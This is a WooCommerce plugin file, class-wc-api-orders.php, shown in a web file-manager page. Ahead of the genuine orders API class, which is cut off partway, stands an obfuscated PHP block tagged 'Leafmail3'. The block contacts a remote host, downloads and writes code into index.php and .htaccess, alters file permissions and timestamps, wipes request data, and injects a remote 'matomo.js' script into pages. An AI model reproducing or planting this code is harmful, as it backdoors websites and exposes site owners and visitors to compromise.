trAvis - MANAGER
Edit File: class-wc-api-orders.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * WooCommerce API Orders Class * * Handles requests to the /orders endpoint * * @author WooThemes * @category API * @package WooCommerce\RestApi * @since 2.1 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class WC_API_Orders extends WC_API_Resource { /** @var string $base the route base */ protected $base = '/orders'; /** @var string $post_type the custom post type */ protected $post_type = 'shop_order'; /** * Register the routes for this class * * GET|POST /orders * GET /orders/count * GET|PUT|DELETE /orders/<id> * GET /orders/<id>/notes * * @since 2.1 * @param array $routes * @return array */ public function register_routes( $routes ) { # GET|POST /orders $routes[ $this->base ] = array( array( array( $this, 'get_orders' ), WC_API_Server::READABLE ), array( array( $this, 'create_order' ), WC_API_Server::CREATABLE | WC_API_Server::ACCEPT_DATA ), ); # GET /orders/count $routes[ $this->base . '/count' ] = array( array( array( $this, 'get_orders_count' ), WC_API_Server::READABLE ), ); # GET /orders/statuses $routes[ $this->base . '/statuses' ] = array( array( array( $this, 'get_order_statuses' ), WC_API_Server::READABLE ), ); # GET|PUT|DELETE /orders/<id> $routes[ $this->base . '/(?P<id>\d+)' ] = array( array( array( $this, 'get_order' ), WC_API_Server::READABLE ), array( array( $this, 'edit_order' ), WC_API_Server::EDITABLE | WC_API_Server::ACCEPT_DATA ), array( array( $this, 'delete_order' ), WC_API_Server::DELETABLE ), ); # GET|POST /orders/<id>/notes $routes[ $this->base . '/(?P<order_id>\d+)/notes' ] = array( array( array( $this, 'get_order_notes' ), WC_API_Server::READABLE ), array( array( $this, 'create_order_note' ), WC_API_SERVER::CREATABLE | WC_API_Server::ACCEPT_DATA ), ); # GET|PUT|DELETE /orders/<order_id>/notes/<id> $routes[ $this->base . '/(?P<order_id>\d+)/notes/(?P<id>\d+)' ] = array( array( array( $this, 'get_order_note' ), WC_API_Server::READABLE ), array( array( $this, 'edit_order_note' ), WC_API_SERVER::EDITABLE | WC_API_Server::ACCEPT_DATA ), array( array( $this, 'delete_order_note' ), WC_API_SERVER::DELETABLE ), ); # GET|POST /orders/<order_id>/refunds $routes[ $this->base . '/(?P<order_id>\d+)/refunds' ] = array( array( array( $this, 'get_order_refunds' ), WC_API_Server::READABLE ), array( array( $this, 'create_order_refund' ), WC_API_SERVER::CREATABLE | WC_API_Server::ACCEPT_DATA ), ); # GET|PUT|DELETE /orders/<order_id>/refunds/<id> $routes[ $this->base . '/(?P<order_id>\d+)/refunds/(?P<id>\d+)' ] = array( array( array( $this, 'get_order_refund' ), WC_API_Server::READABLE ), array( array( $this, 'edit_order_refund' ), WC_API_SERVER::EDITABLE | WC_API_Server::ACCEPT_DATA ), array( array( $this, 'delete_order_refund' ), WC_API_SERVER::DELETABLE ), ); # POST|PUT /orders/bulk $routes[ $this->base . '/bulk' ] = array( array( array( $this, 'bulk' ), WC_API_Server::EDITABLE | WC_API_Server::ACCEPT_DATA ), ); return $routes; } /** * Get all orders * * @since 2.1 * @param string $fields * @param array $filter * @param string $status * @param int $page * @return array */ public function get_orders( $fields = null, $filter = array(), $status = null, $page = 1 ) { if ( ! empty( $status ) ) { $filter['status'] = $status; } $filter['page'] = $page; $query = $this->query_orders( $filter ); $orders = array(); foreach ( $query->posts as $order_id ) { if ( ! $this->is_readable( $order_id ) ) { continue; } $orders[] = current( $this->get_order( $order_id, $fields, $filter ) ); } $this->server->add_pagination_headers( $query ); return array( 'orders' => $orders ); } /** * Get the order for the given ID * * @since 2.1 * @param int $id the order ID * @param array $fields * @param array $filter * @return array|WP_Error */ public function get_order( $id, $fields = null, $filter = array() ) { // ensure order ID is valid & user has permission to read $id = $this->validate_request( $id, $this->post_type, 'read' ); if ( is_wp_error( $id ) ) { return $id; } // Get the decimal precession $dp = ( isset( $filter['dp'] ) ? intval( $filter['dp'] ) : 2 ); $order = wc_get_order( $id ); $order_data = array( 'id' => $order->get_id(), 'order_number' => $order->get_order_number(), 'created_at' => $this->server->format_datetime( $order->get_date_created() ? $order->get_date_created()->getTimestamp() : 0, false, false ), // API gives UTC times. 'updated_at' => $this->server->format_datetime( $order->get_date_modified() ? $order->get_date_modified()->getTimestamp() : 0, false, false ), // API gives UTC times. 'completed_at' => $this->server->format_datetime( $order->get_date_completed() ? $order->get_date_completed()->getTimestamp() : 0, false, false ), // API gives UTC times. 'status' => $order->get_status(), 'currency' => $order->get_currency(), 'total' => wc_format_decimal( $order->get_total(), $dp ), 'subtotal' => wc_format_decimal( $order->get_subtotal(), $dp ), 'total_line_items_quantity' => $order->get_item_count(), 'total_tax' => wc_format_decimal( $order->get_total_tax(), $dp ), 'total_shipping' => wc_format_decimal( $order->get_shipping_total(), $dp ), 'cart_tax' => wc_format_decimal( $order->get_cart_tax(), $dp ), 'shipping_tax' => wc_format_decimal( $order->get_shipping_tax(), $dp ), 'total_discount' => wc_format_decimal( $order->get_total_discount(), $dp ), 'shipping_methods' => $order->get_shipping_method(), 'payment_details' => array( 'method_id' => $order->get_payment_method(), 'method_title' => $order->get_payment_method_title(), 'paid' => ! is_null( $order->get_date_paid() ), ), 'billing_address' => array( 'first_name' => $order->get_billing_first_name(), 'last_name' => $order->get_billing_last_name(), 'company' => $order->get_billing_company(), 'address_1' => $order->get_billing_address_1(), 'address_2' => $order->get_billing_address_2(), 'city' => $order->get_billing_city(), 'state' => $order->get_billing_state(), 'postcode' => $order->get_billing_postcode(), 'country' => $order->get_billing_country(), 'email' => $order->get_billing_email(), 'phone' => $order->get_billing_phone(), ), 'shipping_address' => array( 'first_name' => $order->get_shipping_first_name(), 'last_name' => $order->get_shipping_last_name(), 'company' => $order->get_shipping_company(), 'address_1' => $order->get_shipping_address_1(), 'address_2' => $order->get_shipping_address_2(), 'city' => $order->get_shipping_city(), 'state' => $order->get_shipping_state(), 'postcode' => $order->get_shipping_postcode(), 'country' => $order->get_shipping_country(), ), 'note' => $order->get_customer_note(), 'customer_ip' => $order->get_customer_ip_address(), 